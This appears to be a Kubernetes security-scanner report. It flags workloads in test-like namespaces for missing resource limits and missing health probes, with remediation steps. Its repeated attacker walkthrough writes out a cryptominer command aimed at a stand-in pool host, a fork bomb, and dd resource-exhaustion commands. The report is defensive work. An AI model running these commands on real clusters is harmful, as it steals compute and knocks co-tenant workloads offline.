Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n rbac-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/rbac-fixtures/wildcard-app Workload 5.0
Container app in Deployment/rbac-fixtures/wildcard-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Infrastructure Modification Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in workload Deployment/rbac-fixtures/wildcard-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n rbac-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.0
Container app in Deployment/vulnerable/generic-hostpath-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/generic-hostpath-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.0
Container app in Deployment/vulnerable/host-ns-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/host-ns-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.0
Container app in Deployment/vulnerable/risky-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/risky-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.0
Container app in Deployment/vulnerable/root-runner is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Infrastructure Modification Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in workload Deployment/vulnerable/root-runner does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.0
Container app in Deployment/vulnerable/socket-mounts-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/socket-mounts-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/local-path-storage/local-path-provisioner Workload 5.0
Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Infrastructure Modification Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in workload Deployment/local-path-storage/local-path-provisioner does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container local-path-provisioner (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container local-path-provisioner so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n local-path-storage --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container local-path-provisioner. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerlocal-path-provisioner
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "local-path-provisioner",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/secrets-bundle/cross-ns-consumer Workload 5.0
Container pause in Deployment/secrets-bundle/cross-ns-consumer is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Infrastructure Modification Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in workload Deployment/secrets-bundle/cross-ns-consumer does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container pause (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container pause so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n secrets-bundle --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container pause. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerpause
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "pause",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
LOW

Container api in Deployment/flat-network/api has neither a liveness nor a readiness probe

KUBE-CONTAINER-PROBE-001 25 subjects Score 3.5
MITRE ATT&CK: T1499

Affected subjects (25)

LOW Deployment/flat-network/api Workload 3.5
Container api in Deployment/flat-network/api has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/flat-network/api
Category: Defense Evasion Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/api deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container api and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapi
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "api",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW DaemonSet/rbac-fixtures/daemon-app Workload 3.5
Container app in DaemonSet/rbac-fixtures/daemon-app has neither a liveness nor a readiness probe
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Defense Evasion Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

